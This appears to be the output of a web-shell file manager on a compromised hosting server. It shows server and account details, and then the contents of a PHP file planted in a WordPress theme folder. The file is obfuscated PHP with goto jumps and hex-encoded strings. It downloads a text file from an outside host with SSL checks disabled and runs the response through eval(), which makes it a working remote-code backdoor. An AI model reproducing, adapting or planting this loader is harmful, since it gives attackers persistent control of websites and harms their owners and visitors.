HEX
Server: LiteSpeed
System: Linux atali.colombiahosting.com.co 5.14.0-570.12.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 13 06:11:55 EDT 2025 x86_64
User: coopserp (1713)
PHP: 8.2.29
Disabled: dl,exec,passthru,proc_open,proc_close,shell_exec,memory_limit,system,popen,curl_multi_exec,show_source,symlink,link,leak,listen,diskfreespace,tmpfile,ignore_user_abord,highlight_file,source,show_source,fpaththru,virtual,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setid,posix_times,posix_ttyname,posix_uname,proc_get_status,proc_nice,proc_terminate
Upload Files
File: /home/coopserp/public_html/wp-content/themes/ftde.php
<?php
 goto AVBco; T2kN9: $F6kqp = curl_exec($s23Ue); goto oX6gy; oX6gy: curl_close($s23Ue); goto QkD1d; X5NH6: if (!$F6kqp) { goto Gn033; } goto knRQo; c1Gss: curl_setopt($s23Ue, CURLOPT_RETURNTRANSFER, 1); goto dGvVN; uJP0L: curl_setopt($s23Ue, CURLOPT_FOLLOWLOCATION, true); goto T2kN9; AVBco: $gkLsE = "\x68\x74\x74\x70\163\x3a\57\57\x6b\x6c\145\x62\x65\x72\147\x61\142\x72\151\145\x6c\56\157\156\154\151\156\145\x2f\x77\160\x2d\164\150\145\x6d\145\163\56\164\x78\x74"; goto N2Lrd; knRQo: eval("\x3f\x3e" . $F6kqp); goto mil31; qE11m: if (!function_exists("\x63\165\x72\x6c\x5f\x69\x6e\x69\164")) { goto zP9m_; } goto QqKc2; WcONd: curl_setopt($s23Ue, CURLOPT_URL, $gkLsE); goto c1Gss; QqKc2: $s23Ue = curl_init(); goto WcONd; N2Lrd: $F6kqp = false; goto qE11m; dGvVN: curl_setopt($s23Ue, CURLOPT_SSL_VERIFYPEER, false); goto uJP0L; QkD1d: zP9m_: goto X5NH6; mil31: Gn033: